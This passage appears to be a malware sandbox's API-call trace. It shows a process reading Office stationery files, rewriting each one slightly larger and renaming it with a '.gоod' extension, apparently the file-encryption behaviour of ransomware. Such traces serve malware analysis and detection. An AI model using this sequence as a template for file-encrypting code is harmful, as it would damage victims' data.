ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1 [0178.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 0 [0178.985] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0178.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0178.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", lpFilePart=0x0) returned 0x43 [0178.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0178.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), fInfoLevelId=0x0, lpFileInformation=0x34a85d8 | out: lpFileInformation=0x34a85d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176f)) returned 1 [0178.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0178.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", lpFilePart=0x0) returned 0x43 [0178.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0178.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0178.988] GetFileType (hFile=0x6e0) returned 0x1 [0178.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0178.988] GetFileType (hFile=0x6e0) returned 0x1 [0178.988] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0178.988] ReadFile (in: hFile=0x6e0, lpBuffer=0x34a89e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x34a89e0*, lpNumberOfBytesRead=0x200ec8b8*=0x76f, lpOverlapped=0x0) returned 1 [0178.990] CloseHandle (hObject=0x6e0) returned 1 [0178.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", lpFilePart=0x0) returned 0x43 [0178.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0178.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0178.990] GetFileType (hFile=0x6e0) returned 0x1 [0178.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0178.990] GetFileType (hFile=0x6e0) returned 0x1 [0178.990] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x176f [0178.990] WriteFile (in: hFile=0x6e0, lpBuffer=0x34a9c70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x34a9c70*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0178.991] CloseHandle (hObject=0x6e0) returned 1 [0178.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", lpFilePart=0x0) returned 0x43 [0178.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0178.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0178.991] GetFileType (hFile=0x6e0) returned 0x1 [0178.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0178.991] GetFileType (hFile=0x6e0) returned 0x1 [0178.991] ReadFile (in: hFile=0x6e0, lpBuffer=0x34abf28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x34abf28*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0179.720] CloseHandle (hObject=0x6e0) returned 1 [0179.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", lpFilePart=0x0) returned 0x43 [0179.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0179.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0179.721] GetFileType (hFile=0x6e0) returned 0x1 [0179.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0179.721] GetFileType (hFile=0x6e0) returned 0x1 [0179.721] WriteFile (in: hFile=0x6e0, lpBuffer=0x34a46d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x34a46d0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0179.721] CloseHandle (hObject=0x6e0) returned 1 [0179.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", lpFilePart=0x0) returned 0x43 [0179.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.gоod", lpFilePart=0x0) returned 0x48 [0179.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0179.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6754d0df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x177f)) returned 1 [0179.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0179.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif.gоod")) returned 1 [0180.160] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", lpFilePart=0x0) returned 0x43 [0180.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0180.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm"), fInfoLevelId=0x0, lpFileInformation=0x358c568 | out: lpFileInformation=0x358c568*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x224)) returned 1 [0180.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0180.161] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", lpFilePart=0x0) returned 0x43 [0180.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0180.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0180.162] GetFileType (hFile=0x6e0) returned 0x1 [0180.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0180.162] GetFileType (hFile=0x6e0) returned 0x1 [0180.162] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x224 [0180.162] ReadFile (in: hFile=0x6e0, lpBuffer=0x358ca28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x358ca28*, lpNumberOfBytesRead=0x200ec818*=0x224, lpOverlapped=0x0) returned 1 [0180.163] CloseHandle (hObject=0x6e0) returned 1 [0180.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", lpFilePart=0x0) returned 0x43 [0180.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0180.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0180.198] GetFileType (hFile=0x6e0) returned 0x1 [0180.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0180.198] GetFileType (hFile=0x6e0) returned 0x1 [0180.198] WriteFile (in: hFile=0x6e0, lpBuffer=0x3605bf8*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3605bf8*, lpNumberOfBytesWritten=0x200ec728*=0x230, lpOverlapped=0x0) returned 1 [0180.199] CloseHandle (hObject=0x6e0) returned 1 [0180.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM", lpFilePart=0x0) returned 0x43 [0180.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM.gоod", lpFilePart=0x0) returned 0x48 [0180.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0180.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x679dc80c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0180.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0180.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.htm.gоod")) returned 1 [0180.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", lpFilePart=0x0) returned 0x43 [0180.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0180.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif"), fInfoLevelId=0x0, lpFileInformation=0x3593998 | out: lpFileInformation=0x3593998*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e)) returned 1 [0180.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0180.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", lpFilePart=0x0) returned 0x43 [0180.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0180.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.764] GetFileType (hFile=0x7c8) returned 0x1 [0180.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0180.764] GetFileType (hFile=0x7c8) returned 0x1 [0180.764] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e [0180.764] ReadFile (in: hFile=0x7c8, lpBuffer=0x3593c60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3593c60*, lpNumberOfBytesRead=0x200ec818*=0x2e, lpOverlapped=0x0) returned 1 [0180.765] CloseHandle (hObject=0x7c8) returned 1 [0180.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", lpFilePart=0x0) returned 0x43 [0180.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0180.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.795] GetFileType (hFile=0x7c8) returned 0x1 [0180.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0180.795] GetFileType (hFile=0x7c8) returned 0x1 [0180.795] WriteFile (in: hFile=0x7c8, lpBuffer=0x360c590*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x360c590*, lpNumberOfBytesWritten=0x200ec728*=0x30, lpOverlapped=0x0) returned 1 [0180.796] CloseHandle (hObject=0x7c8) returned 1 [0180.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF", lpFilePart=0x0) returned 0x43 [0180.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF.gоod", lpFilePart=0x0) returned 0x48 [0180.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0180.796] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67fac527, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0180.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0180.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.gif.gоod")) returned 1 [0180.797] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", lpFilePart=0x0) returned 0x43 [0180.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0180.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm"), fInfoLevelId=0x0, lpFileInformation=0x360d818 | out: lpFileInformation=0x360d818*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e3)) returned 1 [0181.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0181.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", lpFilePart=0x0) returned 0x43 [0181.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0182.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0182.242] GetFileType (hFile=0x824) returned 0x1 [0182.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0182.242] GetFileType (hFile=0x824) returned 0x1 [0182.243] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1e3 [0182.243] ReadFile (in: hFile=0x824, lpBuffer=0x35ef0a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x35ef0a0*, lpNumberOfBytesRead=0x200ec818*=0x1e3, lpOverlapped=0x0) returned 1 [0182.244] CloseHandle (hObject=0x824) returned 1 [0182.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", lpFilePart=0x0) returned 0x43 [0182.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0182.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0182.362] GetFileType (hFile=0x824) returned 0x1 [0182.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0182.362] GetFileType (hFile=0x824) returned 0x1 [0183.182] WriteFile (in: hFile=0x824, lpBuffer=0x35ca168*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x35ca168*, lpNumberOfBytesWritten=0x200ec728*=0x1f0, lpOverlapped=0x0) returned 1 [0183.201] CloseHandle (hObject=0x824) returned 1 [0183.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM", lpFilePart=0x0) returned 0x43 [0183.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM.gоod", lpFilePart=0x0) returned 0x48 [0183.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0183.201] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6969ef1a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0183.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0183.201] MoveFileW 